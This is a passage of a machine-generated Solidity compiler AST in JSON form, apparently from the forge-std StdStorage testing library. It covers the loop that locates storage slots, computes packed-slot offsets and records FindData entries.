memory"}},"id":7925,"indexExpression":{"id":7924,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5296:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5290:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7922,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5282:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7921,"name":"uint256","nodeType":"ElementaryTypeName","src":"5282:7:8","typeDescriptions":{}}},"id":7926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5282:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7919,"name":"WARNING_UninitedSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7443,"src":"5256:20:8","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":7927,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5256:44:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7928,"nodeType":"EmitStatement","src":"5251:49:8"}]}},{"condition":{"id":7937,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"5341:37:8","subExpression":{"arguments":[{"id":7932,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"5363:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"baseExpression":{"id":7933,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5369:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7935,"indexExpression":{"id":7934,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5375:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5369:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7931,"name":"checkSlotMutatesCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7630,"src":"5342:20:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$_t_bool_$","typeString":"function (struct StdStorage storage pointer,bytes32) returns (bool)"}},"id":7936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5342:36:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7940,"nodeType":"IfStatement","src":"5337:92:8","trueBody":{"id":7939,"nodeType":"Block","src":"5380:49:8","statements":[{"id":7938,"nodeType":"Continue","src":"5402:8:8"}]}},{"assignments":[7942,7944],"declarations":[{"constant":false,"id":7942,"mutability":"mutable","name":"offsetLeft","nameLocation":"5456:10:8","nodeType":"VariableDeclaration","scope":8044,"src":"5448:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7941,"name":"uint256","nodeType":"ElementaryTypeName","src":"5448:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7944,"mutability":"mutable","name":"offsetRight","nameLocation":"5476:11:8","nodeType":"VariableDeclaration","scope":8044,"src":"5468:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7943,"name":"uint256","nodeType":"ElementaryTypeName","src":"5468:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7948,"initialValue":{"components":[{"hexValue":"30","id":7945,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5492:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"hexValue":"30","id":7946,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5495:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":7947,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"5491:6:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_rational_0_by_1_$_t_rational_0_by_1_$","typeString":"tuple(int_const 0,int_const 0)"}},"nodeType":"VariableDeclarationStatement","src":"5447:50:8"},{"condition":{"expression":{"id":7949,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"5520:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7950,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5525:20:8","memberName":"_enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":7424,"src":"5520:25:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7972,"nodeType":"IfStatement","src":"5516:256:8","trueBody":{"id":7971,"nodeType":"Block","src":"5547:225:8","statements":[{"assignments":[7952],"declarations":[{"constant":false,"id":7952,"mutability":"mutable","name":"found","nameLocation":"5574:5:8","nodeType":"VariableDeclaration","scope":7971,"src":"5569:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7951,"name":"bool","nodeType":"ElementaryTypeName","src":"5569:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":7953,"nodeType":"VariableDeclarationStatement","src":"5569:10:8"},{"expression":{"id":7964,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":7954,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7952,"src":"5602:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":7955,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7942,"src":"5609:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":7956,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"5621:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7957,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"5601:32:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"tuple(bool,uint256,uint256)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":7959,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"5648:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"baseExpression":{"id":7960,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5654:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7962,"indexExpression":{"id":7961,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5660:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5654:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7958,"name":"findOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7772,"src":"5636:11:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bytes32) returns (bool,uint256,uint256)"}},"id":7963,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5636:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"tuple(bool,uint256,uint256)"}},"src":"5601:62:8","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7965,"nodeType":"ExpressionStatement","src":"5601:62:8"},{"condition":{"id":7967,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"5689:6:8","subExpression":{"id":7966,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7952,"src":"5690:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7970,"nodeType":"IfStatement","src":"5685:69:8","trueBody":{"id":7969,"nodeType":"Block","src":"5697:57:8","statements":[{"id":7968,"nodeType":"Continue","src":"5723:8:8"}]}}]}},{"assignments":[7974],"declarations":[{"constant":false,"id":7974,"mutability":"mutable","name":"curVal","nameLocation":"5892:6:8","nodeType":"VariableDeclaration","scope":8044,"src":"5884:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7973,"name":"uint256","nodeType":"ElementaryTypeName","src":"5884:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7987,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7986,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":7977,"name":"prev","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7904,"src":"5910:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7976,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5902:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7975,"name":"uint256","nodeType":"ElementaryTypeName","src":"5902:7:8","typeDescriptions":{}}},"id":7978,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5902:13:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"arguments":[{"id":7980,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7942,"src":"5935:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":7981,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"5947:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7979,"name":"getMaskByOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8746,"src":"5918:16:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":7982,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5918:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5902:57:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7984,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"5901:59:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">>","rightExpression":{"id":7985,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"5964:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5901:74:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"5884:91:8"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7993,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":7990,"name":"callResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7865,"src":"6006:10:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7989,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5998:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7988,"name":"uint256","nodeType":"ElementaryTypeName","src":"5998:7:8","typeDescriptions":{}}},"id":7991,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5998:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":7992,"name":"curVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7974,"src":"6021:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5998:29:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7996,"nodeType":"IfStatement","src":"5994:84:8","trueBody":{"id":7995,"nodeType":"Block","src":"6029:49:8","statements":[{"id":7994,"nodeType":"Continue","src":"6051:8:8"}]}},{"eventCall":{"arguments":[{"id":7998,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6111:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7999,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6116:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"arguments":[{"arguments":[{"id":8003,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6149:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8004,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6157:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8001,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6132:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8002,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6136:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6132:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6132:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8000,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6122:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8006,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6122:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"baseExpression":{"id":8009,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"6180:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8011,"indexExpression":{"id":8010,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"6186:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6180:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8008,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6172:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8007,"name":"uint256","nodeType":"ElementaryTypeName","src":"6172:7:8","typeDescriptions":{}}},"id":8012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6172:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7997,"name":"SlotFound","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7437,"src":"6101:9:8","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_bytes4_$_t_bytes32_$_t_uint256_$returns$__$","typeString":"function (address,bytes4,bytes32,uint256)"}},"id":8013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6101:89:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8014,"nodeType":"EmitStatement","src":"6096:94:8"},{"expression":{"id":8041,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":8015,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6208:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8026,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6213:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"6208:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":8027,"indexExpression":{"id":8017,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6219:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6208:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":8028,"indexExpression":{"id":8018,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6224:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6208:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":8029,"indexExpression":{"arguments":[{"arguments":[{"id":8022,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6257:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8023,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6265:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8020,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6240:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8021,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6244:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6240:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8024,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6240:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8019,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6230:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8025,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6230:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6208:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"baseExpression":{"id":8033,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"6319:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8035,"indexExpression":{"id":8034,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"6325:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6319:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8032,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6311:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8031,"name":"uint256","nodeType":"ElementaryTypeName","src":"6311:7:8","typeDescriptions":{}}},"id":8036,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6311:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8037,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7942,"src":"6330:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8038,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"6342:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"74727565","id":8039,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"6355:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8030,"name":"FindData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7402,"src":"6302:8:8","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"type(struct FindData storage pointer)"}},"id":8040,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6302:58:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_memory_ptr","typeString":"struct FindData memory"}},"src":"6208:152:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":8042,"nodeType":"ExpressionStatement","src":"6208:152:8"},{"id":8043,"nodeType":"Break","src":"6378:5:8"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7899,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7896,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5109:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":7897,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5113:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7898,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5119:6:8","memberName":"length","nodeType":"MemberAccess","src":"5113:12:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5109:16:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8045,"initializationExpression":{"assignments":[7893],"declarations":[{"constant":false,"id":7893,"mutability":"mutable","name":"i","nameLocation":"5102:1:8","nodeType":"VariableDeclaration","scope":8045,"src":"5094:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7892,"name":"uint256","nodeType":"ElementaryTypeName","src":"5094:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7895,"initialValue":{"hexValue":"30","id":7894,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5106:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 